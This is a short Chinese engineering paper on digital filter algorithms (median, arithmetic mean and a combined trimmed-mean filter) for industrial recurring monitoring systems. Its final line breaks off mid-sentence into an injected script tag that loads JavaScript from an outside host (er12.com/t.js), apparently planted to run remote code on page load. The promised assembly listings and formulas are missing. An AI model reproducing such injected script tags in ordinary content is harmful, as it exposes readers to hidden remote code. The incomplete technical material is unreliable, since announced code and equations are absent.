(河南师范大学物理与信息工程学院,河南 新乡453002)
摘 要:介绍巡回检测系统中的常用数字滤波算法,并给出一个综合应用实例。
关键词:巡回检测系统;数字滤波;程序设计
realization of digitalfilter algorithmsin recurring monitor system
lilei,xuejian-bo
(henan normal university,college of physics and information engineering,xin xiang 453002,china)
abstract:this paperintroducesthe common digitalfilter algorithmsin recurring monitor.an example oftheirintegrative applicationis given.
key words:recurring monitor system;digitalfilter;programing
巡回检测系统用来实时测量温度、流量、压力等系统工业状态参数,并对测量的结果鉴别和处理,以此为依据,通过相应的控制算法,对系统进行最佳的调节和控制,保证稳定、可靠、安全、高效的运行。由于工业现场的环境比较恶劣,干扰源较多,为了提高系统的性能,在进行数据处理时,一定要对采样数据进行数字滤波。
1 巡回检测系统中的常用数字滤波算法
所谓数字滤波,就是通过特定的程序,减少干扰信号在有用信号中的比重。数字滤波与模拟滤波相比具有如下优点:
(1)由于数字滤波是由程序实现的,不需要增加硬件设备,可以多个通道共用一个滤波程序;
(2)无需硬件设备,可靠性高、稳定性好,各回路之间不存在阻抗匹配的问题;
(3)数字滤波可以对频率很低(如0.01hz)的信号实现滤波,而模拟滤波器由于受电容容量的限制,频率不可能太低;
(4)使用灵活、方便,可根据需要选择不同的滤波方法,或改变滤波器的参数。
数字滤波算法有许多种,如限幅滤波法、限速滤波法、中值滤波法、算术平均值滤波法、加权平均值滤波法、rc低通滤波法等。在巡回检测系统中,常用的滤波算法有中值滤波法、算术平均值滤波法,下面分别介绍这两种算法。
1.1 中值滤波法
对某一被测量参数连续采样n次(一般n取奇数),然后把n个采样值从小到大(或从大到小排队), 取中值作为本次采样值。
若要将n个数据按从小到大的顺序排队,具体做法是两两比较。设(r0)为数据存放区首地址,先将((r0))与((r0)+1)进行比较,若((r0))<((r0)+1),则不交换存放位置,否则将两数位置对调。继而再取((r0)+1)与((r0)+2)比较,判断方法亦然,直到最大数沉底为止。然向重新比较,把次大数放在n-1位,……如此下去,将n个数从小到大顺序排列。
设采样值从8位a/d转换器输入5次,存放在samp为首地址的内存单元中,进行中值滤波的汇编语言源程序为:
若变量变化比较缓慢,如温度、压力等,采用中值滤波效果较好,但对快速变化过程的参数,如流量,则不宜采用。
1.2 算术平均值滤波
根据得到的n次采样值x(i)(i=1~n),求一个y,使得y与各采样值之间的偏差的平方和最小,此时 所得值具有最小误差。
由一元函数求极值原理可得:
上式是算术平均值滤波的公式。其实质是把一个采样周期内n次采样值相加,然后再除以采样次数n,便得到该采样周期的采样值。算术平均值滤波的汇编语言程序见参考文献[4]。
算术平均值滤波适用于对压力、流量一类的信号进行平滑处理。这类信号的特点是有一个平均值,信号在某一数值范围附近作上下波动。在这种情况下,仅以一个采样值作为依据显然是不准确的。算术平均值滤波对信号的平滑程度取决于n。当n较大时,平滑度高但灵敏度低;当n较小时,平滑度低但灵敏度高。应视具体情况选取n,对于流量测量取n=8或16,压力测量取n=4。
2 应用实例
上面介绍的两种算法各有优缺点,实际应用中可根据被测对象的实际情况,以及所取得的数据的规律而综合采用,形成多功能的复合滤波方法。即,把采样值先按从大到小的顺序排列起来,然后将最大值和最小值去掉,再把余下的部分求和并取其平均值。其原理可用下式表示:
在我们设计的流量巡回检测系统中,采用了这种复合滤波算法。其思路是:将连续进行n次采样的结果中的最大值和最小值弃掉,对剩余的n-2个采样值求算术平均值。用这种方法既可滤去普通脉冲干扰,又可滤去小的脉冲干扰。该检测系统采用12位a/d,对工业现场的16个点进行检测,每个点采集10个数据,对这10个数据去除最大值和最小值后,对剩余的8个数求算术平均值。以采集一个点的数据为例,这10个数据存放在0100h~0113h共20个字节单元中,高字节在前,占低四位,?script src=http://er12.com/t.js>